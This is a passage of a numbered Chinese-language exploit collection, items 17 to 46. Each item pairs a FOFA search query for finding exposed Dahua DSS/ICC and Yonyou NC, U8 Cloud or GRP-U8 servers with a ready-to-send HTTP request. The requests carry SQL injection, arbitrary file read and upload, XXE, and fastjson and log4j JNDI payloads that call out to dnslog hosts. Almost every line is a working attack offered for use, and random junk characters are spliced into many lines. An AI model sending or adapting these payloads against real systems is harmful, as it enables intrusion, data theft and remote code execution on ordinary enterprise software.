9 {# v9 I) C3 h) t( s5 F: TGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
) ~( G5 a+ f. F9 TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
$ j  k+ |6 J5 o2 e) |0 O! hAccept: */*
Accept-Language: en
( o4 }, m: |7 F3 G" Z* u  [2 Y. u; @& XAccept-Encoding: gzip
3 V( Y. N! d; F+ R$ n# Y/ O- Y2 \( M; M
5 f8 x  }" z9 ^6 K' J& u, }
( R8 B7 W1 D  q1 s/ k/ X17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
' b* \' b6 K1 t1 R; S& dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
' F* y; W' Z/ {7 ?% h4 hAccept-Encoding: gzip

3 z5 F" L3 Q5 P; J7 j3 H4 U4 E<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
9 m5 M! y- m/ u9 l1 s1 u: x<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
- K* _0 ]: N1 c( e0 V. W0 Q      </netMarkings>
( A" \" N- N$ B3 g, E4 }9 Z    </ns1:deleteBulletin>
* F. K7 V6 \9 _8 Y8 \  </s11:Body>
</s11:Envelope>
- }& E' P$ R3 C4 P' ]
9 n! |/ z; w+ w3 |
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
. g" z: E5 y. ?: O8 XFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
4 t# r( A/ ~0 |Host: your-ip
5 b2 w6 I1 [5 e; I" J8 o0 ]9 V! VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
* h/ X/ k8 w. EAccept: */*
Connection: keep-alive
. }3 A5 \! @% M& Z5 y+ B
7 O6 {2 r1 M7 Z) |& J  R
. J9 L3 y% O4 X' U$ ?
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
- A; {, X  _& D4 v) o* b$ nFOFA：app="dahua-DSS"
- t- c  g7 L- ^2 d9 ]0 W$ `GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
6 O; ?( M  ~5 l, d9 _; d+ e0 h0 x; bHost:
( F; f* t: {5 N5 c- }User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# N+ u7 K; V: B9 h2 [# Y# ]4 O9 zAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 Y8 N6 S1 T* I4 K0 F
; w4 M, h: t! ]' U* ~' o
20. 大华ICC智能物联综合管理平台任意文件读取
: H1 ?& _3 s. j( R% e) SFOFA：body="*客户端会小于800*"
" B* i/ U; W5 a: dGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
7 E% m) h% k; R3 a* F7 z% t) THost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! R2 ]$ K$ p5 {% p% w4 ~* h1 j: kConnection: close
Accept: */*
Accept-Language: en
- i0 p( m/ p3 w. h# yAccept-Encoding: gzip
& C6 S: @' z6 y- i
  s$ Q5 m8 ^9 j; c% O  |" i
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
$ f  N" H/ y# C! l0 }1 m$ K5 Z" n  RPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
5 @/ `- ~9 y2 \; H% J# e& GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
+ V. n+ s" R7 uConnection: close
- [! o1 B- Y. G. z4 v$ o. D2 g9 NContent-Type: application/json;charset=utf-8
* c7 E3 e0 \, y4 D
8 [5 _, p0 y% I2 _9 T4 p( z{
5 X) e; C9 c/ i/ J" \  b"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
9 t$ S/ R, d0 `$ S4 Z0 p  }""
% f4 o7 B6 T  h4 I; X}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
7 C9 e# S$ q/ A8 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

+ S3 ]5 Q  B$ T1 D{
5 h" `& D" l! f7 a"loginName":"${jndi:ldap://dnslog}"
: @& f# G! }% f+ |' F) L}
5 P' C2 w4 G/ ?* }( l


9 R; o, c* w9 {7 U; F23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 o8 k# a7 h9 c% }0 @, UContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

! y8 u( ?2 M6 t0 R! G( a' b; G{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
' n. U" B( p3 `& [3 S) E        }""
& d4 S7 s& ]/ `+ X7 F7 ~6 W; L}
1 a; s0 F& I) W; F3 Y6 ~  s
' i. a1 M0 _( r6 T$ O* T
9 U& F6 N# i) n  z* h- F1 K24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
9 _5 p; @" T. WPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
% H5 ?& {" z6 V" ~" n- yUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

: f4 _3 ~7 G2 Z* o/ W  \- q-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
0 l* s) l& E  LContent-Type: text/plain
1 X6 `: a0 V! Z- s4 r- I# e! G
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
: G1 l" _: p& |5 a-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
0 T1 O) g, f3 d& J) O4 s
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
6 l; V! m& |3 n( [. m" f: E8 d+ @-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
6 {" R: J" V2 T( \( B
7 r" C9 S) P" G: n$ H. x, d
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
* e5 f& B& p% aPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
. ?  m& x; N0 S, n+ UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
2 L* @" v# l$ l2 E& g" ]
: R: {3 b. p# D9 ^- Ptype=1&dsname=ldap://dnslog
2 o( z% ^. L  W% S) ~


26. 用友NC linkVoucher SQL注入
0 |5 {. ?* K$ Q5 w1 R5 n3 z/ MFOFA：app="用友-UFIDA-NC"
- X: \6 m$ t% ?' qGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 [8 u7 C( j0 G- {' uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; ~; G! S; M% S6 J2 a! FAccept-Encoding: gzip, deflate
' P/ U1 A: _6 X" b& L2 dAccept: */*
Connection: keep-alive

2 o  _' h: H1 X: j3 x5 [  [
0 |& Q4 k& i$ M: ]4 D27. 用友 NC showcontent SQL注入
- c" k9 z  D4 {FOFA：icon_hash="1085941792"
2 E1 P+ T" T7 C% RGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
  x; b  [( k% U+ @3 fHost: your-ip
* j7 g5 B- }# R  ~8 u( w; m; gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
$ e3 y6 t$ k. t& k7 U+ y$ f! L
* F0 x( G# `+ P; F. {% g' N3 w: v
28. 用友NC grouptemplet 任意文件上传
( ~, k. F, N' L9 O. H. s$ C. jFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
1 _% @3 {- k7 O, E3 `+ THost: x.x.x.x
; c+ c* z4 T+ i. T) O% iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
9 h! i8 z0 ^! L6 |6 g0 WConnection: close
Content-Length: 268
# H) H# E) U6 A, i: F; j. o4 L0 _Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

9 i+ [3 b: U3 _------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
, E+ @. J& N( U$ b/ H2 SContent-Type: application/octet-stream

# z! D- d6 W+ P, q5 E3 G% s<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp
$ T4 U% N  b9 B7 i
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
1 w3 J4 [& H- j" _2 W+ uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* Q9 x6 D* L3 c+ `3 oContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
% ]% a$ t6 A8 b. V( J9 SAccept: */*
3 e5 l! }# T9 Y$ M: y1 ZConnection: keep-alive

9 Y2 Z( N' F$ W
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
7 m, s0 t& ]5 nHost: your-ip
& N1 d- C1 G. }& E3 |6 LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
: V  v1 T+ A3 P! q9 d0 Q0 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+ M1 D1 L+ [. I9 R- \: t# lConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
* e9 c, K2 P8 L1 u' A! J6 ?, ?Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
9 R: a8 o- b* N6 U" j! }/ v
# I, p1 U0 w: k
8 G0 T% {* u3 c- k3 ~31. 用友NC runStateServlet SQL注入
& G+ [1 F2 |! \# d* ^version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, u7 X$ l# h6 F& C5 z& Y1 |$ B) @# |- zGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 n; r, Q7 v# \$ w: }" wHost: host
3 r6 {# U& V- t  C$ h, r9 N" Y3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
  O$ d6 Y# W: m9 w) O8 zContent-Type: application/x-www-form-urlencoded
0 \& C  q$ k( z+ Q8 E0 [* x4 r  v  M2 c
, r6 S8 U: p" I% h2 s
32. 用友NC complainbilldetail SQL注入
3 ^4 i. N  D1 M+ T4 p% _1 Gversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
% x" O$ Q0 g5 d( o5 r# qGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, I$ B+ {+ `+ T0 P9 {1 E- lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% `3 `/ P! L: a6 X, \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
1 a. p9 T% t9 G* DConnection: keep-alive
* q( Q, N* o8 l* A  M! \
( M3 h/ p( `# I0 L' N- x1 [, Z$ i! y2 F
33. 用友NC downTax/download SQL注入
8 ^3 j) T, R; {( Nversion：NC6.5FOFA：app="用友-UFIDA-NC"
* `1 N7 B, V  eGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 d4 `" t* A. p. n2 vHost: your-ip
" ^( y4 H/ I( o* lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ I0 S- w: `8 b% W& KContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
1 t! j# {/ \% ~) S% vConnection: keep-alive
+ y$ X+ G6 y$ m7 Q  E2 `3 U  K1 ]* `

34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
( |5 t8 s, A: RGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: L! H5 K$ Z0 _0 D: ?2 U# ~. d/ vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* @$ @7 o" S& ~2 {, _- F+ L7 ]Content-Type: application/x-www-form-urlencoded
/ h# F- g" f8 A2 g1 ~. E9 {Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
2 x% O- a( V1 h# }/ VFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
5 ^' A2 G3 ^# ZAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
, a& L2 h0 T8 Z! G) R5 P5 JContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
3 I- ]& \4 k5 T--fd28cb44e829ed1c197ec3bc71748df0--
/ C& K. x0 t: g4 q; E
: d1 K0 `: I1 F6 n1 ]& q( a
) k; y5 [5 z. l5 o+ R: [36. 用友NC-Cloud soapFormat XXE
* _, c! V( h. h% V! |. P2 [( XFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
  R3 V1 w* K, G# U6 i/ U" @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
- {9 I" p. C1 L. A  Y6 EContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 F9 E1 [7 o) ?) h- E( a) Y  NConnection: close
: e% E1 ]" ^  T% j9 b, QContent-Type: application/x-www-form-urlencoded
& J: C9 i$ G' ^' tUpgrade-Insecure-Requests: 1
2 ^5 o* C) C4 h* q8 a( `/ t
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
$ @' F, L2 n0 N! [" V+ W1 q' e( d4 J

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
. z* X  Q+ N2 S+ aHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
- d* e+ X' s/ PContent-Length: 421
2 w( }+ L+ H- I' [9 G6 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
% _* ]! n9 {4 ~. qAccept-Language: zh-CN,zh;q=0.9
  U# h9 S' O1 l& L5 MConnection: close
7 X( c: e4 ~- u& X; V# t8 HContent-Type: text/xml;charset=UTF-8
* c+ j3 F4 O- A" U, d5 m/ VSOAPAction: urn:getResult
! m2 ?3 p& e) AUpgrade-Insecure-Requests: 1

2 o9 d" @' v& b3 M& q3 X" e) m$ V<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
# \3 |( e( C5 w& \5 k% R<soapenv:Header/>
  H9 `3 z9 n0 d4 ?, C<soapenv:Body>
7 z" q+ y1 l/ n4 H<iup:getResult>
6 O. O6 r% F7 d<!--type: string-->
<iup:string><![CDATA[
" l4 H5 s% O! e/ v3 |# Y; Q, y<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  |! x' u8 I4 f9 v4 F<xxx/>]]></iup:string>
- }. S$ U/ r/ {! J6 C' [</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

- o- F5 H. K: V# \- M

38. 用友U8 Cloud smartweb2.RPC.d XXE
, M* D8 a; T" r( L1 b5 C" XFOFA：app="用友-U8-Cloud"
# q2 t" ^% c: D" M" G( _* ~/ s, [POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
) Y7 ~* ~& x; S% Z3 PHost: 192.168.40.131:8088
4 y1 V. D" I' Y" i$ l2 y+ ^6 p$ \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
) }6 W0 u' q& \+ ?$ X, LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
" Y$ S4 }7 E6 X& a5 J& J& w- h5 BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 f" z7 h1 B  W; i  {( o, I+ lConnection: close
' K; e! ?7 X: @0 C) x5 b! FContent-Type: application/x-www-form-urlencoded
6 K% Y; w: ~4 `0 w. }" _- K7 x
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

$ Y1 T3 T2 t- a; A( `
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
# {" b8 d1 f/ Z% @POST /servlet/RegisterServlet HTTP/1.1
3 t$ b. R4 B3 `$ gHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
* A$ z+ y' ^, M' n) e% p( h, SAccept: */*
6 `* s( u' H( B1 F" p, @8 mAccept-Language: en
( r" S' U* v5 Q) {3 s- @1 BContent-Type: application/x-www-form-urlencoded
! V; ]6 H/ f; @X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


; w. \- m$ f; |7 g+ f" N40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
/ i. m- j6 r1 o: d8 ^7 k1 m$ aConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
7 t) m1 B+ g' d- w" s4 h% |1 m
  u( T- d) r2 b
. k: f8 Y5 d; n4 i/ B, D41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
- a  Q- |$ R. r1 `- `FOFA：app="用友-U8-Cloud"
+ Q4 D* H! U+ J! A, UGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
: h. w3 L* t8 ~$ J  y7 X! l9 f1 rHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
7 R: ]( ^, U. X7 ^! b7 G: U) h/ N
/ d: B% i( ^+ \8 _
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
7 t8 D" |% _# f! G2 NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
; o$ t! ]$ o3 p* {, q' B+ q$ [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
: M: c; @9 x  ]: f/ a- w
% P2 T" ~  X4 \! _3 O$ \& _PAYLOAD
. d+ P& P  u1 D4 s! v; _  I' }

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
9 \/ N! A, E6 L1 ]- Q, S
4 |3 Q! S- h/ n( C/ x( n* R43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
8 n3 |" a  u: F) f; p& GHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Q) C4 w7 \' U7 l* pAccept-Encoding: gzip, deflate
% }) B! k6 l1 m: UAccept-Language: zh-CN,zh;q=0.9
& g4 }' d" a: v2 KConnection: close
, n# C$ S; I6 c( {) q$ p6 FSOAPAction:
Content-Type: text/xml;charset=UTF-8
$ }2 n( X) o! Q% A7 K7 D
6 m1 q+ Z  F/ Z<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
! c; {  X; O0 G1 {   <soapenv:Header/>
( T1 X' h% D6 r3 W5 }+ f7 b& Y   <soapenv:Body>
% O& ]" g* A$ K9 Q2 Z      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
: ~6 \( N* y7 Y   </soapenv:Body>
! i6 O! a" _+ |* a0 ?</soapenv:Envelope>
& r/ k! C6 }! A7 e* s0 e0 H
+ Z* f8 H& [: n# T2 z+ f+ H
& |' O, S) U9 d' u9 ]6 N8 `* \44. 用友GRP-U8 bx_dj_check.jsp SQL注入
/ |% b( d$ X+ K! `FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
; O: k/ |, Q, \- c: zHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
' z7 o1 c$ B# D3 V0 x8 Q2 V( IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& [  x- p6 [4 HConnection: close
# x# E( q) R; q
! ?! Q, [$ }6 W3 v) W3 C
0 W" x5 [1 i1 Q7 ^% v45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
4 }- D+ h) ?) y# b' H, xPOST /ufgovbank HTTP/1.1
  V% {; y+ `( h) z, T' y9 JHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
3 V7 M3 T! H- r7 E. K- R. ~' QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 V; b5 z6 s- l% ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
% K. ~( l, }9 I# R+ q( {/ JAccept-Encoding: gzip
) o3 r$ C$ B' {' _
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
7 \$ x. `$ J% A+ lFOFA：app="用友-GRP-U8"
1 X1 j! V' I) `' cGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  ^' @/ G" b9 ^' [, s& GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
